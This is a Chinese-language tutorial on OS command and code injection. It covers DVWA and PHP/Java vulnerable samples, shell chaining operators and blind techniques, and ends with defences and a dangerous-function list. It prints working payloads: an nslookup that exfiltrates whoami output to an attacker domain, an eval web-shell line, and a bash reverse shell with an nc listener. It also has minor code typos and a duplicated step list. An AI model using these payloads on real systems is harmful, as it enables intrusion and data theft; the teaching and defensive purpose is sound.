文章目录
一、简介
命令注入漏洞通常是通过注入恶意的命令参数,拼接原本正常的命令语句,达到执行恶意命令目的的一类漏洞。
系统命令是可以连接执行的,在没有做好对输入的过滤时,就可能导致攻击者执行其他的命令。
命令执行漏洞和代码执行漏洞:
1、命令执行漏洞是直接调用操作系统命令,所以也叫做OS命令执行漏洞。
2、代码执行漏洞是靠执行脚本代码调用操作系统命令。例如:eval (system('set'););
二、举例说明
以DVWA为例:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
1、stristr(string,search,before_search)
stristr() 函数搜索字符串在另一字符串中的第一次出现。
string:规定被搜索的字符串。
search:规定要搜索的字符串。
如果该参数是数字,则搜索匹配该数字对应的 ASCII 值的字符。
before_search:为可选参数,默认值为 "false"。如果设置为 "true",它将返回 search 参数第一次出现之前的字符串部分。
2、php_uname(mode)
返回运行php的操作系统的描述信息。
参数mode可取值:
a :此为默认,包含序列”s n r v m”里的所有模式
s :返回操作系统名称
n:返回主机名
r:返回版本名称
v:返回版本信息
m:返回机器类型
3、shell_exec()
通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。和php中的执行运算符反引号('')一致,都是将内容作为shell命令来执行,并将输出信息返回。
按照代码原本的含义,通过判断操作系统的不同,执行不同的ping命令。但是代码中并没有对用户输入的ip地址进行判断。导致了我们可以通过一些特殊字符去构造不一样的ip。
我们通过& |
或者其他变形,来让ip地址和我们想要执行的命令进行拼接。如127.0.0.1&&dir
三、PHP命令执行
PHP提供了部分函数用来执行外部应用程序,例如:system()、exec()、passthru()、shell_exec()等。
实例一:命令执行
<?php
$host = $argv[1];
system("ping".$host); //执行ping命令
?>
使用PHP.EXE执行此文件,命令为:"php.exe cmd.php www.xxx.com"
,php将会调用系统ping命令,并将结果显示出来。如果此时攻击者拼接其他的系统命令,则可以获取到意想不到的结果:"php.exe cmd.php" | net user
。
实例二:代码执行
PHP中提供了eval()函数,这个函数可以把字符串按照PHP格式来执行:即动态的执行PHP代码。使用eval()函数需要注意的是:输入的字符串必须是合法的PHP代码,且必须以分号结尾。
CMD.PHP中存在以下代码:
<?php eval($_REQUEST['cmd'])?>
此时cmd可替换成一些我们想要执行的代码:如http://www.xxx.com/cmd.php?cmd=phpinfo()
。页面将显示phpinfo的信息。
在ASP、ASP.NET、JAVA中,都有类似的函数或者方法可以动态的执行代码。
实例三:动态函数调用
<?php
function A(){
return "A()函数...";
}
function B(){
return "B()函数...";
}
$fun = $_REQUEST["fun"];
echo $fun(); //动态调用函数
?>
PHP解析器可以根据$fun的值来调用对应的函数,当变量$fun的值为“A”时,那么$fun()对应的函数为A(),此时便会出现问题,如果对fun指定内容,将会造成代码执行:如`http://www.xxx.com/function.php?fun=phpinfo()`。当$fun的值为phpinfo时,$fun()对应的函数为phpinfo()。
实例四:PHP函数代码执行漏洞
在php中,像preg_replace()、ob_start()、array_map()等函数都存在代码执行的问题,在此以array_map()函数为例:
<?php
$arr = $_GET["arr"];
$array = array(1,2,3,4,5);
$new_array = array_map($arr,$array);
?>
array_map()函数的作用是返回用户自定义函数处理后的数组,现在输入URL:http://www.xxx.com/function.php?arr=phpinfo
后,回发现phpinfo代码已被执行。
四、Java命令执行
import java.io.InputStream; //导包
import jvva.io.InputStreamReader;
import java.io.BufferedReader;
public class RuntimeTest{
public static void main(String args[]) throws Exception{
if(args.length==0){
System.exit(1); //没有参数就退出
}
String command = args[0];
Runtime run = Runtime.getRuntime();
Process pro = run.exec(command); //执行命令
InputStreamReader in = new InputStreamReader(pro.getInputStream());
BufferedReader buff = new BufferedReader(in);
for(String temp = buff.readLine();temp!=null;temp=buff.readLine()){
System.out,println(temp); //输出结果
}
buff.close();
in.close();
}
}
上面的代码经过编译后可以执行命令操作,如:java RuntimeTest “ls -l”,进行列文件操作。如果程序开发人员没有正确的使用Runtime类,就有可能造成Java命令执行漏洞。比如Struts2的命令执行漏洞。
五、常见注入方式
A & B,执行A的命令也执行B的命令;
A && B,A执行成功的情况下执行B,A执行失败就不会执行B,和逻辑与一样;
A | B,“|”为管道符,它将A执行的结果作为B的输入,因此无论A执行结果如何,都会执行B;
A || B,在A执行失败的情况下执行B,A执行成功则不会执行B,和逻辑或一样;
A;B,在Linux系统下会将shell1和shell2都执行;
基于unix的系统中:
A `B`,B的执行结果会在A的报错信息中显示。
$() 是用来做命令替换的,内联执行。
换行符:\r\n、%d0、%a0
编码绕过
六、常见无回显的利用方式
6.1、使用时间延迟检测无回显命令注入
& ping -c 10 127.0.0.1 &
此命令将导致应用程序ping其回环网络10秒,通过这个时间延迟,我们可以判断是否存在命令注入。
我们在使用burpsuite工具输入命令的时候,由于burp中不能存在空格,可以变形为& ping+-c+10 127.0.0.1 &
。
6.2、通过重定向输出来进行无回显命令注入
可以将注入命令的输出重定向到web根目录的文件中,然后我们可以使用浏览器进行访问。例如,应用程序文件系统位置/var/www/static,那么我们可以通过:
& whoami > /var/www/static/whoami.txt &
该>字符会将whoami命令的输出发送到指定的文件,利用浏览器访问http://xxx.xxx.com/whoami.txt查看。
6.3、利用带外通道技术(OOB)
6.3.1、可以使用注入的命令,使用 OAST 技术触发与系统的带外网络交互。例如:
& nslookup kgji2ohoyw.web-attacker.com &
使用nslookup命令对指定域进行 DNS 查找,从而检测到命令已成功注入。
1、使用Burp Suite Professional拦截和修改请求。
2、转到 Burp 菜单,然后启动Burp Collaborator 客户端。
3、单击copy to clipboard
将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。
4、修改注入点参数,将其更改为如下所示,在指示的位置插入 Burp Collaborator 子域:注入点=||nslookup+whoami
.YOUR-SUBDOMAIN-HERE.burpcollaborator.net||
5、返回 Burp Collaborator 客户端窗口,然后单击Poll now
。您应该会看到一些由应用程序启动的 DNS 交互,这些交互是负载的结果。如果没有看到列出的任何交互,等待几秒钟并重试,因为服务器端命令是异步执行的。
6、观察到命令的输出出现在交互的子域中,可以在 Burp Collaborator 客户端中查看它。查找的完整域名显示在交互的描述选项卡中。
6.3.2、从注入的命令中提取输出
& nslookup `whoami`.xxx.xxx.com &
1、使用Burp Suite Professional拦截和修改请求。
2、转到 Burp 菜单,然后启动Burp Collaborator 客户端。
3、单击copy to clipboard
将唯一的 Burp Collaborator 负载复制到剪贴板。让 Burp Collaborator 客户端窗口保持打开状态。
4、修改注入点参数,将其更改为如下所示,在指示的位置插入 Burp Collaborator 子域:注入点=||nslookup+whoami
.YOUR-SUBDOMAIN-HERE.burpcollaborator.net||
5、返回 Burp Collaborator 客户端窗口,然后单击Poll now
。您应该会看到一些由应用程序启动的 DNS 交互,这些交互是负载的结果。如果没有看到列出的任何交互,等待几秒钟并重试,因为服务器端命令是异步执行的。
6、观察到命令的输出出现在交互的子域中,可以在 Burp Collaborator 客户端中查看它。查找的完整域名显示在交互的描述选项卡中。
6.4、bash反弹shell
bash -i >&/dev/tcp/192.168.172.22/1111 0>&1
①bash -i:是产生一个交互式的shell
②>&/dev/tcp/192.168.172.22/1111:建立TCP连接,并将标准输出或者错误重定向到TCP连接上(这里的ip换成自己监听机器的ip地址,端口号自定义)
③0>&1:从TCP连接获取输入
接下来在监听机器上执行
root@bogon:nc -lvp 1111
七、防御
1、不使用时禁用相应危险函数,或者控制函数的参数不被用户输入;
2、尽量不要执行外部的应用程序或命令;
3、转义命令中的所有shell元字符;
4、采用白名单、正则表达式进行过滤;
5、在进入执行命令函数和方法前,对变量进行过滤,对敏感字符进行转义。
附件:一些常见语言的危险函数
1、PHP
system
escapeshellarg
escapeshellcmd
exec
passthru
proc_close
proc_get_status
proc_nice
proc_open
proc_terminate
shell_exec
system
2、Python
system
popen
subprocess.call
spawn
3、Java
java.lang.Runtime.getRuntime().exec(command)